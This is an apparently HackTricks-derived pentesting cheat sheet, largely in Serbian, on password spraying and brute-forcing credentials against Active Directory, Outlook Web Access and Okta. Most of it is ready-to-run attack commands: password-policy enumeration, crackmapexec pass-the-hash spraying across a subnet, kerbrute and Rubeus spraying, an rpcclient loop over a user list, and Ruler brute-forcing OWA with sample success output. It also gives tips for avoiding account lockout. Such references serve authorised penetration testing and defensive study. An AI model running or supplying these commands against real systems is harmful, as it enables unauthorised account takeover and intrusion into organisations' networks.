# Password Spraying / Brute Force {{#include ../../banners/hacktricks-training.md}} ## **Password Spraying** Kada pronađete nekoliko **validnih korisničkih imena**, možete isprobati najviše **uobičajene lozinke** (imajte na umu politiku lozinki okruženja) sa svakim od otkrivenih korisnika.\ Po **defaultu**, **minimalna** **dužina** **lozinke** je **7**. Liste uobičajenih korisničkih imena takođe mogu biti korisne: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) Imajte na umu da **možete zaključati neke naloge ako pokušate nekoliko pogrešnih lozinki** (po defaultu više od 10). ### Get password policy Ako imate neke korisničke akreditive ili shell kao domen korisnik, možete **dobiti politiku lozinki sa**: ```bash # From Linux crackmapexec -u 'user' -p 'password' --pass-pol enum4linux -u 'username' -p 'password' -P rpcclient -U "" -N 10.10.10.10; rpcclient $>querydominfo ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength # From Windows net accounts (Get-DomainPolicy)."SystemAccess" #From powerview ``` ### Eksploatacija iz Linuxa (ili svih) - Korišćenje **crackmapexec:** ```bash crackmapexec smb -u users.txt -p passwords.txt # Local Auth Spray (once you found some local admin pass or hash) ## --local-auth flag indicate to only try 1 time per machine crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep + ``` - Koristeći [**kerbrute**](https://github.com/ropnop/kerbrute) (Go) ```bash # Password Spraying ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123 # Brute-Force ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman ``` - [**spray**](https://github.com/Greenwolf/Spray) _**(možete naznačiti broj pokušaja kako biste izbegli zaključavanje):**_ ```bash spray.sh -smb ``` - Koristeći [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NIJE PREPORUČENO, PONEKAD NE RADI ```bash python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt ``` - Sa `scanner/smb/smb_login` modulom **Metasploit**: ![](<../../images/image (745).png>) - Koristeći **rpcclient**: ```bash # https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/ for u in $(cat users.txt); do rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority; done ``` #### Iz Windows-a - Sa [Rubeus](https://github.com/Zer1t0/Rubeus) verzijom sa brute modulom: ```bash # with a list of users .\Rubeus.exe brute /users: /passwords: /domain: /outfile: # check passwords for all users in current domain .\Rubeus.exe brute /passwords: /outfile: ``` - Sa [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Može generisati korisnike iz domena po defaultu i dobiće pravila lozinki iz domena i ograničiti pokušaje u skladu s tim): ```powershell Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` - Sa [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1) ``` Invoke-SprayEmptyPassword ``` ## Brute Force ```bash legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org ``` ## Outlook Web Access Postoji više alata za p**assword spraying outlook**. - Sa [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) - sa [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) - Sa [Ruler](https://github.com/sensepost/ruler) (pouzdan!) - Sa [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) - Sa [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) Da biste koristili bilo koji od ovih alata, potrebna vam je lista korisnika i lozinka / mala lista lozinki za spray. ```bash ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose [x] Failed: larsson:Summer2020 [x] Failed: cube0x0:Summer2020 [x] Failed: a.admin:Summer2020 [x] Failed: c.cube:Summer2020 [+] Success: s.svensson:Summer2020 ``` ## Google - [https://github.com/ustayready/CredKing/blob/master/credking.py](https://github.com/ustayready/CredKing/blob/master/credking.py) ## Okta - [https://github.com/ustayready/CredKing/blob/master/credking.py](https://github.com/ustayready/CredKing/blob/master/credking.py) - [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer) - [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster) ## References - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying) - [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell) - [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296) - [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying) {{#include ../../banners/hacktricks-training.md}}